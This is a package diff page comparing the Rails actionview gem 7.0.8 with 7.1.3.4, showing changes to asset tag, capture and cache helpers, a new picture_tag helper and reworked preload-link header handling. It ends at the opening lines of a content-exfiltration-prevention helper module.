actionview 7.0.8 → 7.1.3.4
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/CHANGELOG.md +298 -310
- data/MIT-LICENSE +1 -1
- data/README.rdoc +1 -1
- data/app/assets/javascripts/rails-ujs.esm.js +686 -0
- data/app/assets/javascripts/rails-ujs.js +630 -0
- data/lib/action_view/base.rb +33 -12
- data/lib/action_view/buffers.rb +106 -8
- data/lib/action_view/cache_expiry.rb +40 -43
- data/lib/action_view/context.rb +1 -1
- data/lib/action_view/deprecator.rb +7 -0
- data/lib/action_view/digestor.rb +1 -1
- data/lib/action_view/gem_version.rb +4 -4
- data/lib/action_view/helpers/active_model_helper.rb +1 -1
- data/lib/action_view/helpers/asset_tag_helper.rb +134 -50
- data/lib/action_view/helpers/asset_url_helper.rb +6 -5
- data/lib/action_view/helpers/atom_feed_helper.rb +5 -5
- data/lib/action_view/helpers/cache_helper.rb +3 -9
- data/lib/action_view/helpers/capture_helper.rb +30 -10
- data/lib/action_view/helpers/content_exfiltration_prevention_helper.rb +70 -0
- data/lib/action_view/helpers/controller_helper.rb +6 -0
- data/lib/action_view/helpers/csp_helper.rb +2 -2
- data/lib/action_view/helpers/csrf_helper.rb +2 -2
- data/lib/action_view/helpers/date_helper.rb +17 -19
- data/lib/action_view/helpers/debug_helper.rb +3 -3
- data/lib/action_view/helpers/form_helper.rb +54 -25
- data/lib/action_view/helpers/form_options_helper.rb +2 -1
- data/lib/action_view/helpers/form_tag_helper.rb +49 -15
- data/lib/action_view/helpers/javascript_helper.rb +1 -0
- data/lib/action_view/helpers/number_helper.rb +37 -330
- data/lib/action_view/helpers/output_safety_helper.rb +2 -2
- data/lib/action_view/helpers/rendering_helper.rb +1 -1
- data/lib/action_view/helpers/sanitize_helper.rb +51 -21
- data/lib/action_view/helpers/tag_helper.rb +5 -27
- data/lib/action_view/helpers/tags/base.rb +11 -52
- data/lib/action_view/helpers/tags/collection_check_boxes.rb +1 -0
- data/lib/action_view/helpers/tags/collection_radio_buttons.rb +1 -0
- data/lib/action_view/helpers/tags/collection_select.rb +3 -0
- data/lib/action_view/helpers/tags/date_field.rb +1 -1
- data/lib/action_view/helpers/tags/date_select.rb +2 -0
- data/lib/action_view/helpers/tags/datetime_field.rb +14 -6
- data/lib/action_view/helpers/tags/datetime_local_field.rb +11 -2
- data/lib/action_view/helpers/tags/grouped_collection_select.rb +3 -0
- data/lib/action_view/helpers/tags/month_field.rb +1 -1
- data/lib/action_view/helpers/tags/select.rb +3 -0
- data/lib/action_view/helpers/tags/select_renderer.rb +56 -0
- data/lib/action_view/helpers/tags/time_field.rb +1 -1
- data/lib/action_view/helpers/tags/time_zone_select.rb +3 -0
- data/lib/action_view/helpers/tags/week_field.rb +1 -1
- data/lib/action_view/helpers/tags/weekday_select.rb +3 -0
- data/lib/action_view/helpers/tags.rb +2 -0
- data/lib/action_view/helpers/text_helper.rb +156 -84
- data/lib/action_view/helpers/translation_helper.rb +3 -3
- data/lib/action_view/helpers/url_helper.rb +41 -14
- data/lib/action_view/helpers.rb +2 -0
- data/lib/action_view/layouts.rb +8 -6
- data/lib/action_view/log_subscriber.rb +49 -32
- data/lib/action_view/lookup_context.rb +29 -13
- data/lib/action_view/path_registry.rb +57 -0
- data/lib/action_view/path_set.rb +13 -14
- data/lib/action_view/railtie.rb +26 -3
- data/lib/action_view/record_identifier.rb +15 -8
- data/lib/action_view/renderer/abstract_renderer.rb +1 -1
- data/lib/action_view/renderer/collection_renderer.rb +10 -2
- data/lib/action_view/renderer/partial_renderer/collection_caching.rb +2 -1
- data/lib/action_view/renderer/partial_renderer.rb +2 -1
- data/lib/action_view/renderer/renderer.rb +2 -0
- data/lib/action_view/renderer/streaming_template_renderer.rb +3 -2
- data/lib/action_view/renderer/template_renderer.rb +3 -2
- data/lib/action_view/rendering.rb +22 -4
- data/lib/action_view/ripper_ast_parser.rb +6 -6
- data/lib/action_view/template/error.rb +14 -1
- data/lib/action_view/template/handlers/builder.rb +4 -4
- data/lib/action_view/template/handlers/erb/erubi.rb +23 -27
- data/lib/action_view/template/handlers/erb.rb +73 -1
- data/lib/action_view/template/handlers.rb +1 -1
- data/lib/action_view/template/html.rb +1 -1
- data/lib/action_view/template/raw_file.rb +1 -1
- data/lib/action_view/template/renderable.rb +1 -1
- data/lib/action_view/template/resolver.rb +10 -2
- data/lib/action_view/template/text.rb +1 -1
- data/lib/action_view/template/types.rb +25 -34
- data/lib/action_view/template.rb +242 -54
- data/lib/action_view/template_path.rb +2 -0
- data/lib/action_view/test_case.rb +176 -21
- data/lib/action_view/unbound_template.rb +15 -5
- data/lib/action_view/version.rb +1 -1
- data/lib/action_view/view_paths.rb +15 -24
- data/lib/action_view.rb +4 -1
- metadata +24 -24
@@ -7,8 +7,9 @@ require "action_view/helpers/asset_url_helper"
|
|
7
7
|
require "action_view/helpers/tag_helper"
|
8
8
|
|
9
9
|
module ActionView
|
10
|
-
# = Action View Asset Tag Helpers
|
11
10
|
module Helpers # :nodoc:
|
11
|
+
# = Action View Asset Tag \Helpers
|
12
|
+
#
|
12
13
|
# This module provides methods for generating HTML that links views to assets such
|
13
14
|
# as images, JavaScripts, stylesheets, and feeds. These methods do not verify
|
14
15
|
# the assets exist before linking to them:
|
@@ -41,13 +42,14 @@ module ActionView
|
|
41
42
|
# When the Asset Pipeline is enabled, you can pass the name of your manifest as
|
42
43
|
# source, and include other JavaScript or CoffeeScript files inside the manifest.
|
43
44
|
#
|
44
|
-
# If the server supports Early Hints,
|
45
|
-
#
|
45
|
+
# If the server supports HTTP Early Hints, and the +defer+ option is not
|
46
|
+
# enabled, \Rails will push a <tt>103 Early Hints</tt> response that links
|
47
|
+
# to the assets.
|
46
48
|
#
|
47
49
|
# ==== Options
|
48
50
|
#
|
49
51
|
# When the last parameter is a hash you can add HTML attributes using that
|
50
|
-
# parameter.
|
52
|
+
# parameter. This includes but is not limited to the following options:
|
51
53
|
#
|
52
54
|
# * <tt>:extname</tt> - Append an extension to the generated URL unless the extension
|
53
55
|
# already exists. This only applies for relative URLs.
|
@@ -59,6 +61,20 @@ module ActionView
|
|
59
61
|
# when it is set to true.
|
60
62
|
# * <tt>:nonce</tt> - When set to true, adds an automatic nonce value if
|
61
63
|
# you have Content Security Policy enabled.
|
64
|
+
# * <tt>:async</tt> - When set to +true+, adds the +async+ HTML
|
65
|
+
# attribute, allowing the script to be fetched in parallel to be parsed
|
66
|
+
# and evaluated as soon as possible.
|
67
|
+
# * <tt>:defer</tt> - When set to +true+, adds the +defer+ HTML
|
68
|
+
# attribute, which indicates to the browser that the script is meant to
|
69
|
+
# be executed after the document has been parsed. Additionally, prevents
|
70
|
+
# sending the Preload Links header.
|
71
|
+
#
|
72
|
+
# Any other specified options will be treated as HTML attributes for the
|
73
|
+
# +script+ tag.
|
74
|
+
#
|
75
|
+
# For more information regarding how the <tt>:async</tt> and <tt>:defer</tt>
|
76
|
+
# options affect the <tt><script></tt> tag, please refer to the
|
77
|
+
# {MDN docs}[https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script].
|
62
78
|
#
|
63
79
|
# ==== Examples
|
64
80
|
#
|
@@ -86,10 +102,17 @@ module ActionView
|
|
86
102
|
#
|
87
103
|
# javascript_include_tag "http://www.example.com/xmlhr.js", nonce: true
|
88
104
|
# # => <script src="http://www.example.com/xmlhr.js" nonce="..."></script>
|
105
|
+
#
|
106
|
+
# javascript_include_tag "http://www.example.com/xmlhr.js", async: true
|
107
|
+
# # => <script src="http://www.example.com/xmlhr.js" async="async"></script>
|
108
|
+
#
|
109
|
+
# javascript_include_tag "http://www.example.com/xmlhr.js", defer: true
|
110
|
+
# # => <script src="http://www.example.com/xmlhr.js" defer="defer"></script>
|
89
111
|
def javascript_include_tag(*sources)
|
90
112
|
options = sources.extract_options!.stringify_keys
|
91
113
|
path_options = options.extract!("protocol", "extname", "host", "skip_pipeline").symbolize_keys
|
92
114
|
preload_links = []
|
115
|
+
use_preload_links_header = options["preload_links_header"].nil? ? preload_links_header : options.delete("preload_links_header")
|
93
116
|
nopush = options["nopush"].nil? ? true : options.delete("nopush")
|
94
117
|
crossorigin = options.delete("crossorigin")
|
95
118
|
crossorigin = "anonymous" if crossorigin == true
|
@@ -98,7 +121,7 @@ module ActionView
|
|
98
121
|
|
99
122
|
sources_tags = sources.uniq.map { |source|
|
100
123
|
href = path_to_javascript(source, path_options)
|
101
|
-
if
|
124
|
+
if use_preload_links_header && !options["defer"] && href.present? && !href.start_with?("data:")
|
102
125
|
preload_link = "<#{href}>; rel=#{rel}; as=script"
|
103
126
|
preload_link += "; crossorigin=#{crossorigin}" unless crossorigin.nil?
|
104
127
|
preload_link += "; integrity=#{integrity}" unless integrity.nil?
|
@@ -115,7 +138,7 @@ module ActionView
|
|
115
138
|
content_tag("script", "", tag_options)
|
116
139
|
}.join("\n").html_safe
|
117
140
|
|
118
|
-
if
|
141
|
+
if use_preload_links_header
|
119
142
|
send_preload_links_header(preload_links)
|
120
143
|
end
|
121
144
|
|
@@ -130,8 +153,8 @@ module ActionView
|
|
130
153
|
# set <tt>extname: false</tt> in the options.
|
131
154
|
# You can modify the link attributes by passing a hash as the last argument.
|
132
155
|
#
|
133
|
-
# If the server supports Early Hints,
|
134
|
-
#
|
156
|
+
# If the server supports HTTP Early Hints, \Rails will push a <tt>103 Early
|
157
|
+
# Hints</tt> response that links to the assets.
|
135
158
|
#
|
136
159
|
# ==== Options
|
137
160
|
#
|
@@ -170,6 +193,7 @@ module ActionView
|
|
170
193
|
def stylesheet_link_tag(*sources)
|
171
194
|
options = sources.extract_options!.stringify_keys
|
172
195
|
path_options = options.extract!("protocol", "extname", "host", "skip_pipeline").symbolize_keys
|
196
|
+
use_preload_links_header = options["preload_links_header"].nil? ? preload_links_header : options.delete("preload_links_header")
|
173
197
|
preload_links = []
|
174
198
|
crossorigin = options.delete("crossorigin")
|
175
199
|
crossorigin = "anonymous" if crossorigin == true
|
@@ -178,7 +202,7 @@ module ActionView
|
|
178
202
|
|
179
203
|
sources_tags = sources.uniq.map { |source|
|
180
204
|
href = path_to_stylesheet(source, path_options)
|
181
|
-
if
|
205
|
+
if use_preload_links_header && href.present? && !href.start_with?("data:")
|
182
206
|
preload_link = "<#{href}>; rel=preload; as=style"
|
183
207
|
preload_link += "; crossorigin=#{crossorigin}" unless crossorigin.nil?
|
184
208
|
preload_link += "; integrity=#{integrity}" unless integrity.nil?
|
@@ -198,7 +222,7 @@ module ActionView
|
|
198
222
|
tag(:link, tag_options)
|
199
223
|
}.join("\n").html_safe
|
200
224
|
|
201
|
-
if
|
225
|
+
if use_preload_links_header
|
202
226
|
send_preload_links_header(preload_links)
|
203
227
|
end
|
204
228
|
|
@@ -354,8 +378,8 @@ module ActionView
|
|
354
378
|
# You can add HTML attributes using the +options+. The +options+ supports
|
355
379
|
# additional keys for convenience and conformance:
|
356
380
|
#
|
357
|
-
# * <tt>:size</tt> - Supplied as "{
|
358
|
-
# width="30"
|
381
|
+
# * <tt>:size</tt> - Supplied as <tt>"#{width}x#{height}"</tt> or <tt>"#{number}"</tt>, so <tt>"30x45"</tt> becomes
|
382
|
+
# <tt>width="30" height="45"</tt>, and <tt>"50"</tt> becomes <tt>width="50" height="50"</tt>.
|
359
383
|
# <tt>:size</tt> will be ignored if the value is not in the correct format.
|
360
384
|
# * <tt>:srcset</tt> - If supplied as a hash or array of <tt>[source, descriptor]</tt>
|
361
385
|
# pairs, each image path will be expanded before the list is formatted as a string.
|
@@ -396,7 +420,7 @@ module ActionView
|
|
396
420
|
check_for_image_tag_errors(options)
|
397
421
|
skip_pipeline = options.delete(:skip_pipeline)
|
398
422
|
|
399
|
-
options[:src] =
|
423
|
+
options[:src] = resolve_asset_source("image", source, skip_pipeline)
|
400
424
|
|
401
425
|
if options[:srcset] && !options[:srcset].is_a?(String)
|
402
426
|
options[:srcset] = options[:srcset].map do |src_path, size|
|
@@ -413,11 +437,72 @@ module ActionView
|
|
413
437
|
tag("img", options)
|
414
438
|
end
|
415
439
|
|
440
|
+
# Returns an HTML picture tag for the +sources+. If +sources+ is a string,
|
441
|
+
# a single picture tag will be returned. If +sources+ is an array, a picture
|
442
|
+
# tag with nested source tags for each source will be returned. The
|
443
|
+
# +sources+ can be full paths, files that exist in your public images
|
444
|
+
# directory, or Active Storage attachments. Since the picture tag requires
|
445
|
+
# an img tag, the last element you provide will be used for the img tag.
|
446
|
+
# For complete control over the picture tag, a block can be passed, which
|
447
|
+
# will populate the contents of the tag accordingly.
|
448
|
+
#
|
449
|
+
# ==== Options
|
450
|
+
#
|
451
|
+
# When the last parameter is a hash you can add HTML attributes using that
|
452
|
+
# parameter. Apart from all the HTML supported options, the following are supported:
|
453
|
+
#
|
454
|
+
# * <tt>:image</tt> - Hash of options that are passed directly to the +image_tag+ helper.
|
455
|
+
#
|
456
|
+
# ==== Examples
|
457
|
+
#
|
458
|
+
# picture_tag("picture.webp")
|
459
|
+
# # => <picture><img src="/images/picture.webp" /></picture>
|
460
|
+
# picture_tag("gold.png", :image => { :size => "20" })
|
461
|
+
# # => <picture><img height="20" src="/images/gold.png" width="20" /></picture>
|
462
|
+
# picture_tag("gold.png", :image => { :size => "45x70" })
|
463
|
+
# # => <picture><img height="70" src="/images/gold.png" width="45" /></picture>
|
464
|
+
# picture_tag("picture.webp", "picture.png")
|
465
|
+
# # => <picture><source srcset="/images/picture.webp" /><source srcset="/images/picture.png" /><img src="/images/picture.png" /></picture>
|
466
|
+
# picture_tag("picture.webp", "picture.png", :image => { alt: "Image" })
|
467
|
+
# # => <picture><source srcset="/images/picture.webp" /><source srcset="/images/picture.png" /><img alt="Image" src="/images/picture.png" /></picture>
|
468
|
+
# picture_tag(["picture.webp", "picture.png"], :image => { alt: "Image" })
|
469
|
+
# # => <picture><source srcset="/images/picture.webp" /><source srcset="/images/picture.png" /><img alt="Image" src="/images/picture.png" /></picture>
|
470
|
+
# picture_tag(:class => "my-class") { tag(:source, :srcset => image_path("picture.webp")) + image_tag("picture.png", :alt => "Image") }
|
471
|
+
# # => <picture class="my-class"><source srcset="/images/picture.webp" /><img alt="Image" src="/images/picture.png" /></picture>
|
472
|
+
# picture_tag { tag(:source, :srcset => image_path("picture-small.webp"), :media => "(min-width: 600px)") + tag(:source, :srcset => image_path("picture-big.webp")) + image_tag("picture.png", :alt => "Image") }
|
473
|
+
# # => <picture><source srcset="/images/picture-small.webp" media="(min-width: 600px)" /><source srcset="/images/picture-big.webp" /><img alt="Image" src="/images/picture.png" /></picture>
|
474
|
+
#
|
475
|
+
# Active Storage blobs (images that are uploaded by the users of your app):
|
476
|
+
#
|
477
|
+
# picture_tag(user.profile_picture)
|
478
|
+
# # => <picture><img src="/rails/active_storage/blobs/.../profile_picture.webp" /></picture>
|
479
|
+
def picture_tag(*sources, &block)
|
480
|
+
sources.flatten!
|
481
|
+
options = sources.extract_options!.symbolize_keys
|
482
|
+
image_options = options.delete(:image) || {}
|
483
|
+
skip_pipeline = options.delete(:skip_pipeline)
|
484
|
+
|
485
|
+
content_tag("picture", options) do
|
486
|
+
if block.present?
|
487
|
+
capture(&block).html_safe
|
488
|
+
elsif sources.size <= 1
|
489
|
+
image_tag(sources.last, image_options)
|
490
|
+
else
|
491
|
+
source_tags = sources.map do |source|
|
492
|
+
tag("source",
|
493
|
+
srcset: resolve_asset_source("image", source, skip_pipeline),
|
494
|
+
type: Template::Types[File.extname(source)[1..]]&.to_s)
|
495
|
+
end
|
496
|
+
safe_join(source_tags << image_tag(sources.last, image_options))
|
497
|
+
end
|
498
|
+
end
|
499
|
+
end
|
500
|
+
|
416
501
|
# Returns an HTML video tag for the +sources+. If +sources+ is a string,
|
417
502
|
# a single video tag will be returned. If +sources+ is an array, a video
|
418
503
|
# tag with nested source tags for each source will be returned. The
|
419
|
-
# +sources+ can be full paths
|
420
|
-
# directory.
|
504
|
+
# +sources+ can be full paths, files that exist in your public videos
|
505
|
+
# directory, or Active Storage attachments.
|
421
506
|
#
|
422
507
|
# ==== Options
|
423
508
|
#
|
@@ -426,8 +511,8 @@ module ActionView
|
|
426
511
|
#
|
427
512
|
# * <tt>:poster</tt> - Set an image (like a screenshot) to be shown
|
428
513
|
# before the video loads. The path is calculated like the +src+ of +image_tag+.
|
429
|
-
# * <tt>:size</tt> - Supplied as "{
|
430
|
-
# width="30"
|
514
|
+
# * <tt>:size</tt> - Supplied as <tt>"#{width}x#{height}"</tt> or <tt>"#{number}"</tt>, so <tt>"30x45"</tt> becomes
|
515
|
+
# <tt>width="30" height="45"</tt>, and <tt>"50"</tt> becomes <tt>width="50" height="50"</tt>.
|
431
516
|
# <tt>:size</tt> will be ignored if the value is not in the correct format.
|
432
517
|
# * <tt>:poster_skip_pipeline</tt> will bypass the asset pipeline when using
|
433
518
|
# the <tt>:poster</tt> option instead using an asset in the public folder.
|
@@ -456,6 +541,11 @@ module ActionView
|
|
456
541
|
# # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
|
457
542
|
# video_tag(["trailer.ogg", "trailer.flv"], size: "160x120")
|
458
543
|
# # => <video height="120" width="160"><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
|
544
|
+
#
|
545
|
+
# Active Storage blobs (videos that are uploaded by the users of your app):
|
546
|
+
#
|
547
|
+
# video_tag(user.intro_video)
|
548
|
+
# # => <video src="/rails/active_storage/blobs/.../intro_video.mp4"></video>
|
459
549
|
def video_tag(*sources)
|
460
550
|
options = sources.extract_options!.symbolize_keys
|
461
551
|
public_poster_folder = options.delete(:poster_skip_pipeline)
|
@@ -469,8 +559,8 @@ module ActionView
|
|
469
559
|
# Returns an HTML audio tag for the +sources+. If +sources+ is a string,
|
470
560
|
# a single audio tag will be returned. If +sources+ is an array, an audio
|
471
561
|
# tag with nested source tags for each source will be returned. The
|
472
|
-
# +sources+ can be full paths
|
473
|
-
# directory.
|
562
|
+
# +sources+ can be full paths, files that exist in your public audios
|
563
|
+
# directory, or Active Storage attachments.
|
474
564
|
#
|
475
565
|
# When the last parameter is a hash you can add HTML attributes using that
|
476
566
|
# parameter.
|
@@ -483,6 +573,11 @@ module ActionView
|
|
483
573
|
# # => <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav"></audio>
|
484
574
|
# audio_tag("sound.wav", "sound.mid")
|
485
575
|
# # => <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>
|
576
|
+
#
|
577
|
+
# Active Storage blobs (audios that are uploaded by the users of your app):
|
578
|
+
#
|
579
|
+
# audio_tag(user.name_pronunciation_audio)
|
580
|
+
# # => <audio src="/rails/active_storage/blobs/.../name_pronunciation_audio.mp3"></audio>
|
486
581
|
def audio_tag(*sources)
|
487
582
|
multiple_sources_tag_builder("audio", sources)
|
488
583
|
end
|
@@ -497,29 +592,29 @@ module ActionView
|
|
497
592
|
|
498
593
|
if sources.size > 1
|
499
594
|
content_tag(type, options) do
|
500
|
-
safe_join sources.map { |source| tag("source", src:
|
595
|
+
safe_join sources.map { |source| tag("source", src: resolve_asset_source(type, source, skip_pipeline)) }
|
501
596
|
end
|
502
597
|
else
|
503
|
-
options[:src] =
|
598
|
+
options[:src] = resolve_asset_source(type, sources.first, skip_pipeline)
|
504
599
|
content_tag(type, nil, options)
|
505
600
|
end
|
506
601
|
end
|
507
602
|
|
508
|
-
def
|
603
|
+
def resolve_asset_source(asset_type, source, skip_pipeline)
|
509
604
|
if source.is_a?(Symbol) || source.is_a?(String)
|
510
|
-
|
605
|
+
path_to_asset(source, type: asset_type.to_sym, skip_pipeline: skip_pipeline)
|
511
606
|
else
|
512
607
|
polymorphic_url(source)
|
513
608
|
end
|
514
609
|
rescue NoMethodError => e
|
515
|
-
raise ArgumentError, "Can't resolve
|
610
|
+
raise ArgumentError, "Can't resolve #{asset_type} into URL: #{e}"
|
516
611
|
end
|
517
612
|
|
518
613
|
def extract_dimensions(size)
|
519
614
|
size = size.to_s
|
520
|
-
if /\A
|
615
|
+
if /\A\d+(?:\.\d+)?x\d+(?:\.\d+)?\z/.match?(size)
|
521
616
|
size.split("x")
|
522
|
-
elsif /\A
|
617
|
+
elsif /\A\d+(?:\.\d+)?\z/.match?(size)
|
523
618
|
[size, size]
|
524
619
|
end
|
525
620
|
end
|
@@ -540,40 +635,29 @@ module ActionView
|
|
540
635
|
end
|
541
636
|
end
|
542
637
|
|
543
|
-
|
638
|
+
# Some HTTP client and proxies have a 4kiB header limit, but more importantly
|
639
|
+
# including preload links has diminishing returns so it's best to not go overboard
|
640
|
+
MAX_HEADER_SIZE = 1_000 # :nodoc:
|
641
|
+
|
544
642
|
def send_preload_links_header(preload_links, max_header_size: MAX_HEADER_SIZE)
|
545
643
|
return if preload_links.empty?
|
546
|
-
|
644
|
+
response_present = respond_to?(:response) && response
|
645
|
+
return if response_present && response.sending?
|
547
646
|
|
548
647
|
if respond_to?(:request) && request
|
549
648
|
request.send_early_hints("Link" => preload_links.join("\n"))
|
550
649
|
end
|
551
650
|
|
552
|
-
if
|
553
|
-
header = response.headers["Link"]
|
554
|
-
header = header ? header.dup : +""
|
555
|
-
|
556
|
-
# rindex count characters not bytes, but we assume non-ascii characters
|
557
|
-
# are rare in urls, and we have a 192 bytes margin.
|
558
|
-
last_line_offset = header.rindex("\n")
|
559
|
-
last_line_size = if last_line_offset
|
560
|
-
header.bytesize - last_line_offset
|
561
|
-
else
|
562
|
-
header.bytesize
|
563
|
-
end
|
564
|
-
|
651
|
+
if response_present
|
652
|
+
header = +response.headers["Link"].to_s
|
565
653
|
preload_links.each do |link|
|
566
|
-
if
|
567
|
-
|
568
|
-
|
569
|
-
|
570
|
-
end
|
654
|
+
break if header.bytesize + link.bytesize > max_header_size
|
655
|
+
|
656
|
+
if header.empty?
|
657
|
+
header << link
|
571
658
|
else
|
572
|
-
header << "
|
573
|
-
last_line_size = 0
|
659
|
+
header << "," << link
|
574
660
|
end
|
575
|
-
header << link
|
576
|
-
last_line_size += link.bytesize
|
577
661
|
end
|
578
662
|
|
579
663
|
response.headers["Link"] = header
|
@@ -3,8 +3,9 @@
|
|
3
3
|
require "zlib"
|
4
4
|
|
5
5
|
module ActionView
|
6
|
-
# = Action View Asset URL Helpers
|
7
6
|
module Helpers # :nodoc:
|
7
|
+
# = Action View Asset URL \Helpers
|
8
|
+
#
|
8
9
|
# This module provides methods for generating asset paths and
|
9
10
|
# URLs.
|
10
11
|
#
|
@@ -16,8 +17,8 @@ module ActionView
|
|
16
17
|
#
|
17
18
|
# === Using asset hosts
|
18
19
|
#
|
19
|
-
# By default, Rails links to these assets on the current host in the public
|
20
|
-
# folder, but you can direct Rails to link to assets from a dedicated asset
|
20
|
+
# By default, \Rails links to these assets on the current host in the public
|
21
|
+
# folder, but you can direct \Rails to link to assets from a dedicated asset
|
21
22
|
# server by setting <tt>ActionController::Base.asset_host</tt> in the application
|
22
23
|
# configuration, typically in <tt>config/environments/production.rb</tt>.
|
23
24
|
# For example, you'd define <tt>assets.example.com</tt> to be your asset
|
@@ -196,7 +197,7 @@ module ActionView
|
|
196
197
|
source = "#{source}#{extname}"
|
197
198
|
end
|
198
199
|
|
199
|
-
|
200
|
+
unless source.start_with?(?/)
|
200
201
|
if options[:skip_pipeline]
|
201
202
|
source = public_compute_asset_path(source, options)
|
202
203
|
else
|
@@ -372,7 +373,7 @@ module ActionView
|
|
372
373
|
# image_path("http://www.example.com/img/edit.png") # => "http://www.example.com/img/edit.png"
|
373
374
|
#
|
374
375
|
# If you have images as application resources this method may conflict with their named routes.
|
375
|
-
# The alias +path_to_image+ is provided to avoid that. Rails uses the alias internally, and
|
376
|
+
# The alias +path_to_image+ is provided to avoid that. \Rails uses the alias internally, and
|
376
377
|
# plugin authors are encouraged to do so.
|
377
378
|
def image_path(source, options = {})
|
378
379
|
path_to_asset(source, { type: :image }.merge!(options))
|
@@ -3,8 +3,8 @@
|
|
3
3
|
require "set"
|
4
4
|
|
5
5
|
module ActionView
|
6
|
-
# = Action View Atom Feed Helpers
|
7
6
|
module Helpers # :nodoc:
|
7
|
+
# = Action View Atom Feed \Helpers
|
8
8
|
module AtomFeedHelper
|
9
9
|
# Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERB or any other
|
10
10
|
# template languages).
|
@@ -82,9 +82,9 @@ module ActionView
|
|
82
82
|
# end
|
83
83
|
#
|
84
84
|
# The Atom spec defines five elements (content rights title subtitle
|
85
|
-
# summary) which may directly contain
|
85
|
+
# summary) which may directly contain XHTML content if type: 'xhtml'
|
86
86
|
# is specified as an attribute. If so, this helper will take care of
|
87
|
-
# the enclosing div and
|
87
|
+
# the enclosing div and XHTML namespace declaration. Example usage:
|
88
88
|
#
|
89
89
|
# entry.summary type: 'xhtml' do |xhtml|
|
90
90
|
# xhtml.p pluralize(order.line_items.count, "line item")
|
@@ -102,7 +102,7 @@ module ActionView
|
|
102
102
|
options[:schema_date] = "2005" # The Atom spec copyright date
|
103
103
|
end
|
104
104
|
|
105
|
-
xml = options.delete(:xml) ||
|
105
|
+
xml = options.delete(:xml) || block.binding.local_variable_get(:xml)
|
106
106
|
xml.instruct!
|
107
107
|
if options[:instruct]
|
108
108
|
options[:instruct].each do |target, attrs|
|
@@ -134,7 +134,7 @@ module ActionView
|
|
134
134
|
end
|
135
135
|
|
136
136
|
private
|
137
|
-
# Delegate to
|
137
|
+
# Delegate to XML Builder, first wrapping the element in an XHTML
|
138
138
|
# namespaced div element if the method and arguments indicate
|
139
139
|
# that an xhtml_block? is desired.
|
140
140
|
def method_missing(method, *arguments, &block)
|
@@ -1,8 +1,8 @@
|
|
1
1
|
# frozen_string_literal: true
|
2
2
|
|
3
3
|
module ActionView
|
4
|
-
# = Action View Cache Helper
|
5
4
|
module Helpers # :nodoc:
|
5
|
+
# = Action View Cache \Helpers
|
6
6
|
module CacheHelper
|
7
7
|
class UncacheableFragmentError < StandardError; end
|
8
8
|
|
@@ -281,14 +281,8 @@ module ActionView
|
|
281
281
|
controller.read_fragment(name, options)
|
282
282
|
end
|
283
283
|
|
284
|
-
def write_fragment_for(name, options)
|
285
|
-
|
286
|
-
yield
|
287
|
-
output_safe = output_buffer.html_safe?
|
288
|
-
fragment = output_buffer.slice!(pos..-1)
|
289
|
-
if output_safe
|
290
|
-
self.output_buffer = output_buffer.class.new(output_buffer)
|
291
|
-
end
|
284
|
+
def write_fragment_for(name, options, &block)
|
285
|
+
fragment = output_buffer.capture(&block)
|
292
286
|
controller.write_fragment(name, fragment, options)
|
293
287
|
end
|
294
288
|
|
@@ -3,18 +3,22 @@
|
|
3
3
|
require "active_support/core_ext/string/output_safety"
|
4
4
|
|
5
5
|
module ActionView
|
6
|
-
# = Action View Capture Helper
|
7
6
|
module Helpers # :nodoc:
|
8
|
-
#
|
7
|
+
# = Action View Capture \Helpers
|
8
|
+
#
|
9
|
+
# \CaptureHelper exposes methods to let you extract generated markup which
|
9
10
|
# can be used in other parts of a template or layout file.
|
10
11
|
#
|
11
|
-
# It provides a method to capture blocks into variables through capture and
|
12
|
-
# a way to capture a block of markup for use in a layout through
|
12
|
+
# It provides a method to capture blocks into variables through #capture and
|
13
|
+
# a way to capture a block of markup for use in a layout through #content_for.
|
14
|
+
#
|
15
|
+
# As well as provides a method when using streaming responses through #provide.
|
16
|
+
# See ActionController::Streaming for more information.
|
13
17
|
module CaptureHelper
|
14
|
-
# The capture method extracts part of a template as a
|
18
|
+
# The capture method extracts part of a template as a string object.
|
15
19
|
# You can then use this object anywhere in your templates, layout, or helpers.
|
16
20
|
#
|
17
|
-
# The capture method can be used in ERB templates...
|
21
|
+
# The capture method can be used in \ERB templates...
|
18
22
|
#
|
19
23
|
# <% @greeting = capture do %>
|
20
24
|
# Welcome to my shiny new web page! The date and time is
|
@@ -40,11 +44,24 @@ module ActionView
|
|
40
44
|
#
|
41
45
|
# @greeting # => "Welcome to my shiny new web page! The date and time is 2018-09-06 11:09:16 -0500"
|
42
46
|
#
|
43
|
-
def capture(*args)
|
47
|
+
def capture(*args, &block)
|
44
48
|
value = nil
|
45
|
-
|
46
|
-
|
47
|
-
|
49
|
+
@output_buffer ||= ActionView::OutputBuffer.new
|
50
|
+
buffer = @output_buffer.capture { value = yield(*args) }
|
51
|
+
|
52
|
+
string = if @output_buffer.equal?(value)
|
53
|
+
buffer
|
54
|
+
else
|
55
|
+
buffer.presence || value
|
56
|
+
end
|
57
|
+
|
58
|
+
case string
|
59
|
+
when OutputBuffer
|
60
|
+
string.to_s
|
61
|
+
when ActiveSupport::SafeBuffer
|
62
|
+
string
|
63
|
+
when String
|
64
|
+
ERB::Util.html_escape(string)
|
48
65
|
end
|
49
66
|
end
|
50
67
|
|
@@ -172,6 +189,8 @@ module ActionView
|
|
172
189
|
# concatenate several times to the same buffer when rendering a given
|
173
190
|
# template, you should use +content_for+, if not, use +provide+ to tell
|
174
191
|
# the layout to stop looking for more contents.
|
192
|
+
#
|
193
|
+
# See ActionController::Streaming for more information.
|
175
194
|
def provide(name, content = nil, &block)
|
176
195
|
content = capture(&block) if block_given?
|
177
196
|
result = @view_flow.append!(name, content) if content
|
@@ -179,6 +198,7 @@ module ActionView
|
|
179
198
|
end
|
180
199
|
|
181
200
|
# <tt>content_for?</tt> checks whether any content has been captured yet using <tt>content_for</tt>.
|
201
|
+
#
|
182
202
|
# Useful to render parts of your layout differently based on what is in your views.
|
183
203
|
#
|
184
204
|
# <%# This is the layout %>
|
@@ -0,0 +1,70 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module ActionView
|
4
|
+
module Helpers
|
5
|
+
module ContentExfiltrationPreventionHelper
|
6
|
+
mattr_accessor :prepend_content_exfiltration_prevention, default: false
|
7
|
+
|
8
|
+
